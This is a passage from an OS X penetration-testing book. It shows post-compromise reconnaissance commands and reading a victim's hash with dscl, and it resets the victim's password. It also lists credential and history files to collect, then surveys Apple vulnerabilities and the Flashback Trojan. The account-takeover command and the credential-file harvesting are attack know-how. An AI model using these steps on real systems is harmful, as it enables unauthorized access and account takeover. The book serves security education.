generated so it is best to ship it off to a file for later analysis using either the -oG
option for grep searchable format out or just piping it to a file.
nmap -A -oG target(hostname or IP Address/range)
nmap -A target(hostname or IP Address/range) > file_overwrite
nmap -A target(hostname or IP Address/range) >> file_append
So we’ve seen through various methods how to find a target of interest on a
network using a few widely available free tools. Looking at the information
we’ve gathered so far we have DNS records, packet captures, open ports, service
names, service version and a host of other useful information, but now we
need to step onto the client and start to do some looking around at ways to
attack possible vulnerabilities in the system and gather information.
What we are looking at in this part of the chapter is twofold, first we are going
to take the approach that we have compromised a system and need to look
around for a foothold or data and second we will take the approach of a vul-
nerability researcher. The commands demonstrated in this part of the chapter
are a few common commands we will be using throughout the book, but as
always this list is not all encompassing as we will use many utilities and tech-
niques in the coming chapters.
FIGURE 4.21 Nmap Showing the SMTP Commands That the Server will Respond to
CHAPTER 4: Footprinting OSX
It may seem as if we are putting the cart before the horse by showing you tech-
niques to look around the system before we show you how to compromise the
system, but knowing what to do when you get there can be more important
than how you get there. Exploits are developed and vulnerabilities are discov-
ered at an alarming rate for all flavors of operating systems causing the entry
vector to change over time, but the OS commands remain fairly constant.
Seeing as OS X is based on a hybrid XNU kernel you will see that most com-
mands that work within a Unix-based environment will help you navigate
around the environment. We are going to start with some very basic com-
mands and their outputs to help you become accustomed to working in this
command line only environment. We will be skipping over the very basic com-
mands such as navigation, but there is an extensive list of basic commands in
the last chapter and you can always just ask Google.
First and foremost save your fingers some work and use the “tab autocomplete”
feature when able in a *nix OS. This means type the beginning of a folder or file
like “Appli” and hit the tab key and it will become “Applications” on the command
line or list out all the items beginning with “Appli.” So we’re on a system through
our awesome ninja attack powers, we have a shell, and now we need to figure out
whom we are, look for information, and possible privilege escalation avenues.
Who Am I? That is a great question as we’re now on the victim’s machine and
need to figure out what user we are running as.
We are currently on the system Macbook, in the home directory ( alias /Users/
VICTIM) running as the user VICTIM. If you don’t believe the shell and just
want to double check you can use the command whoami which will display
your current user.
You are thinking to yourself that seems like a useless command, but it actually is
meant to specify your user running user versus your logged in user. As I can log on
to the system with VICTUM, but then switch user to a different user; whoami can
be useful. We shall continue our trend of information gathering about users by
issuing a simple, but often overlooked command called w. This command pro-
vides a shortcut version of the who command, showing all the logged in accounts,
session times, and where those connections are coming from (see Figure 4.22).
Macbook: VICTIM$
Macbook: VICTIM$ whoami
On the Client 71
The amount of information we’re getting just keeps getting better. We can see
from the w command that the user EVLROB has 7 bash shells open, busy guy.
There is one more command that tops all others when it comes to finding out
information about a user, finger (see Figure 4.23).
We can see that the finger command displays the user’s home directory, login
name, display name, default shell, current activity, mail, and plan files. All of
this can lead to easy user profiling to figure out what account to go after in
the case of a server or a shell to investigate that the user is running (look at
FIGURE 4.22 Exampe of the w Command Show User Activity
FIGURE 4.23 Example of the Finger Command to See a Detailed Account of User Activity
CHAPTER 4: Footprinting OSX
finger and w to match a shell like s004 with the type “-bash” to a finger shell
listing of ttys004). Continuing on down the line of process monitoring we
have one of the most widely used commands on a *nix machine, ps. Process
Status (ps) will display a simple or complex list of all the processes currently
running on the system depending on the command options you feed it (see
Figure 4.24).
Using the ps command with the options “-eaf” will allow us to see every process,
regardless of user, in expanded format. There is lots of good information in
the process output, but not extremely useful in its raw form. We can do a few
things at this point to pull more useful information from this, we can pipe it
out to a file and read through it or we can pipe it to the grep command and
search for useful strings. In the example below we searched through the ps
output by using grep to search for the string “bash” (see Figure 4.25).
FIGURE 4.24 Example of the Process Status Command Showing Running Processes
FIGURE 4.25 Example of Process Status Being Piped to Grep to Search for the “bash” string
On the Client 73
By searching for “bash” we are essentially looking for shells or commands that
might be running from a terminal window. We’ll look more into shells and
how they operate in later chapters, but for now let’s do another search for
“sudo” (see Figure 4.26).
The last part of the line “sudo /Applications/Tex…” is also the plain text com-
mand the user typed so we know exactly what the user was attempting to
invoke by looking at the application and the command line switches. From
this query we can see that a user is running TextEdit with root privileges
remember this as we explore the dangers of root privileges throughout the
book. Now you may be questioning why we would search for sudo instead
of root.
The answer is that the root user in OS X is disabled by default and must be
enabled purposefully by an administrative user account through the Directory
Utility. If a user wants to enter a bash shell as root they will run the command
sudo -s, so search of sudo will allow us to find what users are currently in a
bash shell as well. Given that most administrative tasks can be accomplished
via the superuser do (sudo) command it is rare to see the root user except in
some development or corporate environments.
So we have discovered that the user EVLROB is running TextEdit with the sudo
command. At this point we would like to use EVLROB’s sudoer privileges
for our nefarious purposes, but to do that we need to know EVLROB’s pass-
word. Unlike running as the root user, when a user uses the sudo command it
prompts them for their password to verify it really is the user requesting root
privileges. There are only a few ways we can get this password, we could drop a
keylogger and hope to catch the user typing the password, grab the shadowfile
hash and Globally Unique Identifier (GUID) to attempt to crack the password
offline, or for a far less subtle and very effective technique is to just change their
Resetting a password a password usually requires a user to enter the current
password to reset it (root can always reset a password without the current
password). To accomplish this task we’re going to use the Directory Services
FIGURE 4.26 Example of Process Status Being Piped to Grep to Search for the “sudo” String
CHAPTER 4: Footprinting OSX
Command Line Utility (dscl) to first find the user and then reset their password
(see Figure 4.27).
dscl localhost -read /Search/Users/EVLROB
The output of this file is very long and we will go into more depth with the
dscl utility in another chapter but for now we can see the GUID for the user
(important for various attack methods) as well as the shadow hash buried
within. The information continues as we scroll past the currently useless
information down to a wealth of other user information as seen below (see
Figure 4.28).
In the figure above we can see the Password attribute (obfuscated), Home
Directory, login information, default picture, primary group ID (what
group the user belongs in), Real Name, RecordName, RecordType (part
after “:”), Unique ID, and the user’s default shell. All of this information
FIGURE 4.27 Directory Services Utility Being Used to Pull User Account Details
Prior to the release of Lion there were several popular offline cracking utilities such as John the
Ripper capable of crunching through massive hash databases looking for a hash match. Lion
changed the hash composition to SHA2 512bit + 4-byte salt and people are still working on get-
ting popular tools such as Hashcat7 and John8 up to date. We’ll be covering password cracking
for OS X 10.3–10.7 in the Offensive Tactics chapter.
7 Hashcat (
8 John the Ripper (
On the Client 75
can be retrieved as individual attributes by using the dscl command with
dscl localhost -read /Search/Users/EVLROB <attribute>
dscl. -read /Users/EVLROB <attribute>
Now that we have located the user and learned so much more about them it’s
time to reset that password and get along with the mischief.
dscl localhost -passwd /Search/Users/EVLROB
Now that we’ve virtually assaulted the user and looked around what they are
up to, now would be a good time to do an inventory of all the currently
installed applications and their versions. This could present us with an oppor-
tunity to exploit a weakness in an application like TextEdit(if one is known) or
FIGURE 4.28 Continuation of Directory Services Utility Being Used to Pull User Account Details
As of the 10.7.4 patch it does require you to enter the current user’s password.
CHAPTER 4: Footprinting OSX
spend some time on our own fuzzing old applications for possible vulnerabil-
ities. On a corporate server situation odds are several applications or processes
will be running with root level privileges so it’s a good idea to make note of
the ones you have seen during exploration. Once again OS X provides a con-
cise way to list all the applications installed on the system (see Figure 4.29).
system_profiler SPApplicationsDataType
The System Profiler may take a moment to run as it compiles a list of installed
applications. In the case of the program we were interested in (TextEdit) it was
enough to scroll down the list to find its’ Version, Last Modified Time, Build
Platform (Kind/64-Bit), and its default Location. We can take this information
and use it to research the vulnerability databases referenced earlier in the chap-
ter and listed in the back of the book. An introduction to application fuzzing
can be found in the Offensive Tactics chapter.
After looking through the user’s activity, process list, messing with the user, and
installed applications it is a good idea to cat or tail some of the log files to see
if your presence has altered the environment in a noticeable way. While you’re
coming through the logs it would not be a bad idea to collect some interesting
files which we have listed in the table such as passwd file or the bash_history.
The default location of most system log files on OS X is /var/log/ and we’ll
either use cat to read through the whole file and then pipe to grep to search for
an application (like the one you used to get on the box) or tail to just see that
last part of the file (see Table 4.4).
cat /folder/foo/example.log | grep app_name_i_owned
tail -f /folder/foo/example.log
FIGURE 4.29 Example of system_profiler Being Used to Show Installed Application Details
Conclusion 77
This has been quite the journey through some basic techniques for network
reconnaissance all the way to using some of the OS X command line tools to
gather and manipulate file and user data. The tools and techniques covered in
this chapter after far from all there is to know and do in regards to footprinting
and data discovery and we encourage you to fire up a Backtrack image and a OS
X box you can stand to screw up and continue to play around.
We talked a lot about corporate features that the OS X 10.7 server application
adds to the base OS X operating system and some of the issues that causes, but
don’t think that it is only because server is present that the operating system is
less secure. The server application installs some applications such as the Web-
server, enables some services, and punches some holes in the firewall. A home
user could install or activate most of these services on their own, but in much
less clean fashion.
Some points to take away from this chapter are that while there are many tools
to do the job of poking around a system or network and manipulating data
you find to suite your needs, it is the skill and dedication of the attacker that
Table 4.4 Table of Useful System Files
File Location Description
/var/log/secure.log Security Event Log (will log sudo/root us-
/var/log/system.log System Event Log (general system and
daemon events)
/var/log/apache2/access_log.log Apache Webserver access/request log
(connections to Webserver)
/var/log/apache2/error_log Apache Webserver Error Log (connection
/var/log/appfirewall.log Firewall Event Log (will log connect/drops)
/var/log/clamav.log ClamAV Antivirus Scanner Log (will log
ClamAV scan findings. Installed by server
/Library/Logs/CrashReporter/* Application Crash Log (Apps will feed crash
logs here if programmed to)
/Library/Logs/DiagnosticReports/* Crash Diagnostic Log (linked to Crash
Reporter log)
/.bash_history A log of all commands the user has typed
into the shell (history command)
/etc/passwd User and Daemon account information file
/etc/sudoers File states what commands can be run as
root and what users can invoke sudo
CHAPTER 4: Footprinting OSX
will determine that success. To become better security professionals we need
to understand not only the administrative side of the operating systems we are
attempting to secure, but how those subsystems work and interact with one
another. Apple patches frequently, but rarely do they make major revisions to
their security model so use this to your advantage and study it.
Don’t forget to reference the apple security updates page9 to see what patches
have been pushed for applications or what major OS updates contain. This is
where a lot of vulnerability hunters spend time reading and exploring to deter-
mine if a particular hole will be patched or if a new patch may add a feature
to an application.
As we’ve seen from our brief look, the OS X underpinnings are not as large
of a mystery as we are led to believe by Cupertino. We hope you’ve learned
some new tricks for exploration of the OS X computing environment or at least
gained an idea or two about new things to read up as you continue to progress
through the book.
9 Apple Security Updates (
The Hacker’s Guide to OS X.
© 2013 Elsevier, Inc. All rights reserved.
Application and System Vulnerabilities
Introduction ...............79
Vulnerabilities ...........79
Vulnerabilities are
Equal Opportunity ...........83
Media Layers ........................... 84
Host Layers .............................. 84
History of
Vulnerabilities in
Apple Products .........85
Mac OS X Specific ............86
A Recent Example—
Flashback .........................88
How it Works ............................ 88
Understanding Apple’s
Security Response ................... 90
Apple iOS Specific ...........91
Keeping it Under Control ........ 93
Advanced Persistent
Threats .............................94
Apple Script ......................95
Conclusion ...............100
n Introduction
n Understanding Vulnerabilities
n History of Vulnerabilities in Apple Products
n Conclusion
Up to this point in the book, we’ve looked at many different specifics of the
Mac OS X operating system, including the history and some core features of
the OS. Each of the topics covered until now provide a possible mechanism for
compromising Apple devices, whether it’s the file system, the memory map,
the process tree, the operating system, or the user’s applications.
The rest of this chapter will cover the concept of vulnerabilities, discuss where
they can be found, and provide examples from the real world as case studies.
The reader should get an idea of where the best paths of compromise lie within
Apple products, and why they exist. We also discuss some concerns with the
methods Apple currently uses (at the time of this writing) to address serious
security issues within it’s products, and how that puts end users at risk.
Vulnerabilities have been around as long as there have been computer systems
and applications running on those systems. They go hand in hand, and are
unlikely to ever be separated. Some of the most important examples include
CHAPTER 5: Application and System Vulnerabilities
the first known self-replicating virus, known as the Creeper virus (1971), and
the Morris worm created by Robert Morris in 1988. The Mac OS X operating
system is no different, but to truly understand why it’s this way, we need to first
understand the term “vulnerability.”
In the strictest sense of the word, Merriam-Webster defines the term vulnerabil-
ity as “open to attack or damage.” For our more specific concerns, we look at
a vulnerability as a means to potentially gain unauthorized access to sensitive
information or data. It’s a chink in our armor; a loophole through our network
or applications. And the real trick with vulnerabilities is that we may never
know they exist. From a penetration testing and hacking perspective, we look
for vulnerabilities to remove the chinks from our armor, with the primary goal
of protecting our crown jewels, the information.
Vulnerabilities are exploited to compromise one or more aspects of information
security, which include Confidentiality, Integrity, and Availability (CIA). Access-
ing data that we’re not authorized to see is a loss of confidentiality. If we’re able to
change that information in some manner, we’ve compromised the integrity of the
data. And finally, a Denial of Service (DoS) attack is an example of compromising
the Availability of a system because we’re denying access to data when it’s needed.
Let’s look at a quick visual example to help better understand the concept. In
Figure 5.1 I’ve created some “super important data” and stored it on a server
that resides on my network. If I lose that data, or if it becomes altered or
Have you ever heard the quote “If a tree in the forest falls down and no one is there to witness
it, does it still make a sound?” Vulnerabilities are like that. They could be there, but since no one
is looking, we don’t know about it. That also means we’re not protecting against intrusion via
that vulnerability.
It’s become somewhat of a philosophical debate about the real value of vulnerability research.
Some folks have made an entire career out of vulnerability research. But in the beginning of this
industry, hackers were finding a significant number of vulnerabilities in a variety of popular
software, and in doing so brought down the ire of an entire software industry. Is the search for
vulnerabilities an ethically acceptable career for someone who is supposed to be “improving
security?” What motivates these researchers, and what should they do when they find a secu-
rity concern? Do they report it publically? Or should they be required to report it to the vendor
first, for free? And is it extortion to expect to be paid by a vendor for helping make their software
more secure?
Never assume you’re safe just because you’ve scanned for all the “known” vulnerabilities.
There are researchers that aren’t working for the common good of the public. Build your net-
work as if there are things you don’t know about your network that could result in the loss your
precious data, because it’s true. There is a high probability that vulnerabilities exist in multiple
places across your network, and in servers, that you (and no one else, yet) know about.
Understanding Vulnerabilities 81
tainted, I won’t be able to complete my project; and I’m likely to lose a tremen-
dous amount of revenue. So I’ve taken some nominal steps to secure that data,
including placing a firewall at the perimeter of the network. The image shows
how I view my network, and its associated “super important data.”
From my perspective, I don’t see any real concerns. After all, I’ve created the
right kind of data, I’ve stored it in the right kind of way, and I even put a fire-
wall device in front of it. The data is easily accessible for me, to ensure I can
access it whenever I want. Plus, the data’s protected by an industry standard
firewall device, which the vendor told me has the ability to block malicious
traffic and protects my network.
Now, up to this point, I’ve really only been concerned with how my network
operates, and how the data is accessible. And looking at this from a standard
Confidentiality, Integrity, and Availability perspective, I’ve only considered
the availability of my data. But I’m not really a security person. I’ve got some-
thing people will want, and I’m putting it out there for the world to use (and
pay for!).
Let’s change perspective now and look at this from a hacker’s perspective. I
want to identify all the points within this system where vulnerabilities might
live, what kinds of vulnerabilities they’re likely to be, and how I might be able
to access that “super important data” without having to pay for it (my job at
the burger joint doesn’t pay all that well).
FIGURE 5.1 My “super important data” Storage Network
CHAPTER 5: Application and System Vulnerabilities
I was cleaning up a table at the restaurant one night, and I ran across this net-
work diagram, written on a napkin. There were a few IP addresses listed as well,
so I’m curious about the system, and what’s in there. With that in mind, I start
marking places in the diagram where I might be able to find vulnerabilities,
and what those vulnerabilities are likely to be. Figure 5.2 shows where I’ve
made some changes to the diagram, for my own notes.
I’ve noted five areas that I can look into for possible vulnerabilities:
1. There is a firewall in place. But firewalls aren’t always put into place
securely. Maybe the rules in the firewall are too permissive and I can get in
to the network that way?
2. This looks like the user’s computer system. There are a couple of places to
look here for something interesting:
a. Operating System—The OS provides the core of what the user needs
to work. But is the operating system secure? There are thousand and
thousands of files in the core OS, so what might be insecure?
b. Applications—Aside from the OS, applications on the computer can
provide a quick way to the data we want. What vulnerabilities exist
here? What types of software are used?
c. What ports or services are open on the computer, and available for a
network connection? Are their vulnerabilities here?
FIGURE 5.2 Areas with Potential Vulnerabilities
Understanding Vulnerabilities 83
3. The server is similar to the user’s computer. We’re concerned with the
operating system, the server applications, and the open network ports.
4. This appears to be a backend database. This is likely our primary target, and
contains the “super important data.” There could be direct software vulner-
abilities here. Some may even be accessible directly from the network.
5. This is the network itself. Sometimes we can find vulnerabilities related to
the network. I wonder if it’s accessible via wireless networking, and if it’s
As an attacker, we have a plethora of areas we can look at to break into a sys-
tem, or piece of software. And while the administrator or defender of a system
has to ensure the system is protected from EVERY vulnerability, the attacker
only needs to have ONE usable vulnerability.
Vulnerabilities are Equal Opportunity
Vulnerabilities can be found in everything related to a computer system. This
includes the network itself, the traffic, the operating system, the ports, the
applications, etc. Looking at the Open Source Interconnection (OSI) model
in Figure 5.3, we see all the layers available to potential attack. And while the
original OSI model was created in 1977 and contained only seven layers, many
FIGURE 5.3 The OSI Model
CHAPTER 5: Application and System Vulnerabilities
security experts agree on an 8th layer (which we’ve included for your refer-
ence), called the Human Layer.
Media Layers
Vulnerabilities at the media layer tend (more often than not) to be related
specifically with the protocols in use on the network. These tend to be more
difficult to find and take advantage of, but they do exist. The majority of func-
tionality from this type of vulnerabilities is in the form of Denial or Service
(DoS) attacks. But it’s not unheard of to use the protocols to send hidden
information across networks, in a client/server type style.
Host Layers
The host layer provides the most numerous opportunities for direct exploi-
tation into the host itself. These are the layers where the network interacts
with the applications, the applications operate, and the user manipulates
data and applications. Hundreds of millions of lines of code are associated
A great source of information on Apple based vulnerabilities is the Mac OS X Developer Library.
The goal of the library is to provide serious Mac developers with information on how to code
applications for Mac OS X in a more secure fashion. In order to do this, Apple provides infor-
mation on transactions within the network, application, and processing frameworks. A good
place to start is Apple’s own Secure Coding Guide, which is located here: https://developer.
There are of number of nations around the world that include a Cyber Warfare component.
While the actual function of these units is a topic of fierce debate, most security professionals
believe these countries are involved in the creation of exploits from unknown vulnerabilities. If
a true cyber war begins, it’s likely to be pretty messy.
As an example, consider the Stuxnet virus, that appeared to specifically target the Iranian
nuclear facilities. The malware involved was intentionally written to target vulnerabilities
in Siemen’s brand Programmable Logic Controllers (PLC), and was sophisticated enough in
design that many believe it had to have been written by a nation state.
So even though we have very thorough databases of known vulnerabilities, what they relate
to, and whether there are patches released for them, we may never have a decent idea of what
exists at a nation level. There are likely many vulnerabilities and exploits, written at a much
higher level and with greater impact, than we’ll ever truly realize.
History of Vulnerabilities in Apple Products 85
with the operating system, and there are likely millions more within the
Each line of code adds more complexity to the running application. Com-
plexity is the enemy of security. The more complexity in a system, the more
likely we are to find vulnerabilities. Operating systems and applications have
become increasingly complex. A quick search at for
Apple provides 17 pages of results on vulnerabilities from 2012, back to 1998
(Figure 5.4). There are a few vulnerabilities listed that are older than this, but
don’t offer much value to us, since the architecture has changed so dramati-
cally since that time. And while the OSVDB does a great job at organizing
known vulnerabilities, bear in mind that some vulnerabilities exist that may
have slipped through the cracks, or exist solely in private storage somewhere.
Also, the 17 pages of vulnerabilities include all Apple software, not just the
operating system. This is important because it highlights the idea that vulner-
abilities aren’t limited to just the network or operating system. Applications
written by Apple for Mac OS X, such as the Safari Web browser, iTunes, and
Quicktime media player are also included in the list.
Since we’ve already broached the topic, let’s move directly into the vulner-
abilities that have plagued Apple and the Mac operating system in the past.
This is something of a religious debate among Apple users and those of
FIGURE 5.4 Page 17 of the OSVDB.ORG Listing of Apple Vulnerabilities
CHAPTER 5: Application and System Vulnerabilities
other operating systems. Historically, it has been stated that the Mac oper-
ating systems were more secure than other operating systems. A lot of this
debate was based on the fact that there were fewer vulnerabilities for the
Apple product than for other operating systems, such as Microsoft’s Win-
dows OS.
Mac OS X Specific
There are a couple of important points to this debate that should be brought
forward. The first is that the original operating system was a product of pro-
prietary nature; and the user base for Apple products was significantly lower
than that of Windows products. Additionally, the use of the PPC chip by Apple
meant that the traditional Intel based method of attack wouldn’t work against
Apple product. And with the limited user base, it really wasn’t worth the effort
for attackers to create entirely new exploits.
However, things changed when Apple chose to move to an Intel based plat-
form. The architecture of the CPU used in the Windows operating system
was now the same in Mac OS X. This is key because the change did two
things. First, it opened the hardware platform up to other, more popular
operating systems. Second, it introduced the Mac OS X platform to a new
generation of users, allowing the user base to grow dramatically. Because of
this, the platform became vulnerable to the same type of attacks for which
other Intel based operating systems are prone, but it also swelled the user
base, making Mac OS X a legitimate target for attackers for the first time (see
Figure 5.5).
FIGURE 5.5 Increased Risk to a System as it Standardized and Popularizes
History of Vulnerabilities in Apple Products 87
Apple owns a relatively small percentage of the consumer and commercial lap-
top market. The industry has been largely dominated by Microsoft products.
But that doesn’t mean Mac OS S is totally safe. There are two services within the
OS X framework that have been used repeatedly as a means of attack on Apple
systems, Bonjour and Apple Filing Protocol (AFP).
In order to make it easy for users to connect to networks without much techni-
cal knowledge, creators of operating system software created something called
zero configuration components. These would allow the user of computer system
to plug a network cable (or use a wireless adapter) to connect to a home, pub-
lic or work network without needing to understand the various configuration
files that might normally need to be edited. Apple’s submission into the zero
configuration realm is known as Bonjour.
Bonjour consists of a number of services that allow the system to perform
name resolution, pick up and assign network addresses, and discover other
hosts on the network that might have available services. Bonjour is loaded by
default within the Mac OS X operating system, as well as iOS. A quick search
within the OSVDB shows several vulnerabilities for Bonjour that could be used
by an attacker, although they’re all Denial of Service issues that have the ability
to deny the use of an application (such as iChat) to the user.
The AFP is a different story altogether. It has a history of documented vulner-
abilities all the way back to early 2003. Because of the manner AFP is imple-
mented, it provides the ability to perform not only denial of service attacks,
but also remote overflows. A solid example is a 2010 vulnerability in AFP that
allowed an attacker to bypass the use of a password to gain access to files on a
target system by simply knowing the name of a user on that system.
In historical Apple fashion, the company refused to discuss the vulnerability,
but did release a patch for the issue (Security Update 2010-006). Interest-
ingly enough, this issue was discovered and report by an independent school
that only caters to students up to grade 9 (according to the Apple Report at The actual report from Apple states:
An error handling issue exists in AFP Server. A remote attacker with knowledge of
an account name on a target system may bypass the password validation and access
AFP shared folders. By default, File Sharing is not enabled. This issue does not
affect systems prior to Mac OS X v10.6. Credit to Pike School in Massachusetts for
reporting this issue.”
And this wasn’t the only issue with the AFP, either. There were known vulner-
abilities would leak information on shared folders and files, and could even
result in the escalation of local accounts to privileged account status. As Mac
OS X continues to evolve and absorb more market share, users can expect to
see an increase in the number of reported vulnerabilities, as well as the number
CHAPTER 5: Application and System Vulnerabilities
of Apple services targeted by hackers. Network services make great targets for
compromise because they allow attackers to conduct attacks remotely.
A Recent Example—Flashback
In September of 2011, an anti-virus company called Intego, based in Bellevue,
Washington, discovered a Mac OS X based Trojan capable of infecting large num-
bers of Mac OS X based computers. At this point in time, there was no evidence the
Trojan software had moved extensively across the Internet. This was considered the
first known variant of the Trojan that would eventually be known as the Flashback
Trojan. You can find more information about Intego at
Flashback turned out to be the client installer for a large botnet. The botnet
system was created to earn money for the hackers who created it. The software
has evolved over its life, using a variety of exploits, for multiple vulnerabilities,
over its short life. For example, it used a JAVA vulnerability to hijack ad clicks
by the user, on the Google Website, to insert its own identity, and be paid for
those clicks. Estimates put the possible daily revenue generated by the Trojan
at between $10k and $14k USD per day. It also proved to the world that Mac
OS X was now a viable target for hackers, and had the potential for wide-scale
compromise (see Figure 5.6).
Security researchers discovered several more variants of the Trojan, with the
key exploit changing through the life of the software. The number of infected
machines was estimated to have topped the half million mark, reaching some-
where near the 600k mark. Each of the infected machines was made part of the
botnet, earning the hackers Google ad revenue.
How it Works
Flashback was originally a program that imitated an Adobe Flash installation
program, tricking users into installing the Trojan to their systems. It didn’t take
much time afterward for the attack vector to become a “drive-by” method,
FIGURE 5.6 Timeline of the Flashback Trojan for Mac OS X
History of Vulnerabilities in Apple Products 89
where a user would visit a malicious Website, where an exploit would take
advantage of a JAVA vulnerability in any of the Mac OS X based Web browsers
(Safari, Chrome, or Firefox). The malicious JAVA application would display an
interface to the user that looked like it came from Adobe. The end result was
the same; the installation of the malware into the system. An example installa-
tion flow has been provided in Figure 5.7.
In February of 2012, Oracle patched the JAVA vulnerability that made the
installation of the Trojan possible, but since Apple maintains its own separate
software stream for all software installed in Mac OS X, the actual patching of
user systems was entirely dependent upon Apple. It took until April of 2012
for Apple to release a patch for the problem. And since patching is enabled by
default in Mac OS X, most users were immediately patched against compro-
mise at this point. However, any users that had modified their auto-update
feature were still at risk of being compromised. Later that same month, Apple
released a removal tool that would aid the user in completely removing the
Trojan from their systems. The estimated number of infected systems around
the world dropped 600k to 140k.
One of the most interesting aspects of the Flashback Trojan was the perceived
substantial jump in users buying Mac OS X based security software to protect
their systems. This demonstrates how the operating system has crossed over
FIGURE 5.7 Example Installation Flow for Flashback Trojan
CHAPTER 5: Application and System Vulnerabilities
into the mainstream, and is a serious competitor to historically more popular
operating systems, such as Microsoft Windows and Linux. This is true both in
user base, application development, and malware targeting.
Understanding Apple’s Security Response
Historically speaking, Apple had traditionally been the type of company that
wouldn’t actually acknowledge security vulnerabilities, at least not until the
company had a fix in place. This perceived attitude of “it’s not a problem until
we tell you it’s a problem” has caused no end of irritation to security profession-
als. But that likely wasn’t the intent behind this strategy. If you don’t admit you
have security problems within the operating system, most non-technical users
will tend to forget over time. Again, much of this is speculation, since Apple
doesn’t actually share its thought process. But if we look solely at how Apple
has responded to these concerns historically, we have serious cause for concern.
But, that all changed with the introduction of the Flashback Trojan. Apple
wasn’t able to issue an immediate patch or fix to the problem. It also wasn’t
able to deny there was a problem. The independent security researchers had
provided sufficient detail and analysis of the malware and its impact on users
to paint a very clear picture for concern.
Looking back at Apple’s response (, we
see Apple clearly acknowledged the concern in the Java backend. They released
a patch several months after the patch was available from Java, because the
software development lifecycle (SDLC) for the operating system is delayed. But
once they did patch the problem, they also released an application for remov-
ing the Trojan, if a user’s system happened to be compromised. But this par-
ticular security incident marked a decided change in the way Apple was forced
to deal with these types of alerts.
Historically, this isn’t the first time Apple has appeared negligent when it comes
to patching its products in a timely manner, to protect users. Aside from this
Earlier in this book we covered the history of the Mac OS X, and how Apple has designed the
operating system. Because of the way the OS is laid out, Apple strictly controls each component
of the software. That means you can’t just update a package within the OS without breaking
something. Each update needs to come through the Mac OS X mechanisms.
From a hacker perspective (and as we saw in our description of the Flashback Trojan, thus
far, there is normally a lag between the time a patch is available from a vendor to the time that
patch has been made available to users by Apple. That window of time is one of the advantages
provided to hackers by the current Apple methodology.
History of Vulnerabilities in Apple Products 91
more recent issue, users have been exposed in the patch via vulnerabilities in
other services and applications, such as Bonjour, DNS, Samba file sharing, Safari
Web browser services, and Apache. The current development lifecycle doesn’t
support rapid response to security concerns, which in turn puts users at risk for
a longer time than they might be exposed using other operating systems.
As an important exercise in statistics, the number of infected machines peaked
somewhere around 670,000 computers. As if that weren’t bad enough, it was
determined there were 274 infected systems in Cupertino itself. So this may
have quickly become something much more personal for the folks at Apple. It
will be interesting to see how Apple reacts to future security concerns within
its own products.
Apple iOS Specific
When we’re looking at the proliferation of Apple technology across the wide
spectrum of the mobile and technologically enabled population, it’s critical
not to forget the smaller devices that don’t necessarily run Mac OS X. Apple
has a full line of products that run a smaller operating system known as iPhone
OS (iOS).
iOS was originally created to run the iPod Touch, and was used again as the
basis for Apple’s iPhone. The iOS was released to the public in the United
States in June of 2007, and is the core of some of Apple’s most successful prod-
ucts in history. Figure 5.8 shows a list of the iOS specific vulnerabilities cur-
rently listed in the databases at
FIGURE 5.8 iOS Vulnerabilities Listed at OSVDB.ORG
CHAPTER 5: Application and System Vulnerabilities
The iPod Touch was an instant success for Apple, and Apple is excellent at
creating further opportunities based on their past success. Along those lines,
we see a history of successes and further innovation. For example, if we take
just one step back, before the introduction of the iOS, we see the use of a
simple BSD based OS for the original iPods. Then we note the progression to a
touchscreen and iOS (which was core to the iTouch and iPhone). From there,
Apple moved to the concept of an Apple iPad, which used the iOS and a larger
touchscreen to provide interactive and network connectivity in a larger and
more accessible format.
iOS has not been without its own security problems. The vulnerabilities started
popping up soon after the release of the first iOS products. One of the first
of these was a simple “screen lock” bypass vulnerability related to how the
phone’s software handled the emergency call function. Attackers could bypass
the authentication mechanisms (passcode lock) of the phone, and access the
full function of the phone without knowing the actual security code.
But by far the most disconcerting vulnerability to ever be exploited on iOS
devices was the ability to jailbreak the iPhone, which gives the user privileged
access to the device. When Apple released the iPhone in 2007, it was followed
almost immediately by the ability to jailbreak the phone. Apple wanted strict
control over the device, the OS, and all applications loaded on the device. The
first iPhones were released on June 29th, 2007. The first jailbreak was released
on July 10th, 2007, although it did not include an “easy to use” tool, as is
popular nowadays.
Apple has a very strict application approval process, where developers pay Apple
30% of generated revenues in order to have their applications listed in the Apple
Store for purchase. And Apple has created a lengthy contract with developers,
defining what is allowed and what isn’t. But many consider the strict control
over the iPhone and what can be loaded on the device to be Apple’s own form
of censorship, and continue to jailbreak their phones in order to load unap-
proved applications to the device. Figure 5.9 shows part of the Developer Web
page for Apple, and the benefits of being part of their program.
The actual process of jailbreaking is the replacement of the default iOS kernel
with a custom version that allows full access to all features of the hardware and
software. In essence, it removes the restrictions put in place by Apple. Users were
suddenly able to install apps from non-Apple sources, use their phone on non-
approved cell carriers, and utilize parts of the hardware that are normally locked
out for the average user. This created a huge legal stir within the community as
Apple attempted to exert full control over the products it had developed.
Apple’s claim was that any alteration of the device in this manner should be
considered a violation of copyright, and thus potentially a violation of the
History of Vulnerabilities in Apple Products 93
Digital Millennium Copyright Act (DMCA). The final decision on this came
in late July 2010, when the US Copyright Office declared jailbreaking of these
devices to be perfectly legal. Apple’s final response was to declare jailbreaking a
violation of the warranty of the device, leaving users on their own if they chose
to make this alteration to the device.
But just because it’s considered legal in the United States doesn’t mean Apple
has to simply accept it. Remember the software is developed and owned by
Apple. In order to try to limit the ability of users to bypass the inherent restric-
tions in the device, Apple located and patched the vulnerability that allowed
the initial jailbreak process. But this only lead to continued efforts by hackers
to locate other means to open the phone up to the user base. As such, other
vulnerabilities have been discovered and used on each progressive iPhone
platform, giving users the freedom to choose whatever applications they like,
whether Apple gets a cut of the revenues or not.
Keeping it Under Control
Apple doesn’t share its mobile iOS code with other entities. This means you’ll
only find the iOS on Apple devices. As a counter example, Microsoft shares its
Windows CE based operating system with other hardware vendors in order to
create greater market share for the product. You can, however, register as an
Apple developer to gain privileged access to the operating system, in order to
research or develop new applications. Despite the strict controls Apple keeps
over its products, it’s still had its share of security concerns, even on the iPhone
and iPad.
FIGURE 5.9 Apple’s Developer Program (
CHAPTER 5: Application and System Vulnerabilities
Advanced Persistent Threats
Industries that depend heavily on technology see a plethora of new names and
pseudonyms designed to describe part of the Cyberverse, or how they function.
One of the more recent terms to make its way on to the stage of our lexicon
is Advanced Persistent Threat (APT). The idea behind this concept is that an
attacker advances their own capabilities in order to ensure a continuous pres-
ence on target systems. Continuous presence provides the attacker the benefit
of data mining over an extended period of time.
Despite Apple’s patch process, the truth is that Apple systems simply aren’t
targeted nearly as often as Windows systems. This has resulted in a Windows
based hacker industry that is much more mature, including the malware used
on those systems. However, it’s important to note that in many important ways,
